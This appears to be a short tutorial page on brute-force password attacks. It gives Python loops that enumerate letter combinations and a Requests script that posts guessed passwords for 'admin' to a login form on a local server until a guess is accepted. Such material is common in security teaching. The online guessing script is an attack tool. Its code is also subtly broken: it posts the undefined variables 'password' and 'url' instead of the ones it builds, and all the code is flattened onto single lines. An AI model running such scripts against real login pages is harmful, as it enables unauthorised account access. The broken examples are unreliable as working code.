Brute force
A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.
passwordToCrack = "hi" letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] first = 0 second = 0 for first in range(0,26): for second in range(0,26): combination = letters[first] + letters[second] print(combination + ' ', end=' ') if combination == passwordToCrack: break if combination == passwordToCrack: break else: print('<br>', end='') print("password found:", combination)
In combination with the Python Requests library, values can be posted to a server as they would a normal HTML authentication form:
import requests urlToCrack = 'http://127.0.0.1:5000/login_post' letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] one = 0 two = 0 three = 0 for one in range(0,26): for two in range(0,26): for three in range(0,26): combination = letters[one] + letters[two] + letters[three] values = {'username': 'admin', 'password': password} #can find the POST variables by looking at the names of the HTML form controls response = requests.post(url, data = values) print(password, response.text) if response.text != "unauthorized": exit()
The Python programming language enables the user to write a script to quickly test a web server with a range of values.
An alternate way of constructing the double for loop nest above is shown below. This is for preference only.
passwordToCrack = "hi" letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] first = 0 second = 0 for first in range(0,26): for second in range(0,26): combination = letters[first] + letters[second] print(combination + ' ', end=' ') if combination == passwordToCrack: break else: #else used as syntactic sugar for 'then' in this case print('<br>', end='') continue break print("password found:", combination) try: first = 0 second = 0 for first in range(0,26): for second in range(0,26): combination = letters[first] + letters[second] print(combination + ' ', end=' ') if combination == passwordToCrack: raise Exception('password found') print('<br>', end='') except Exception: print("password found:", combination)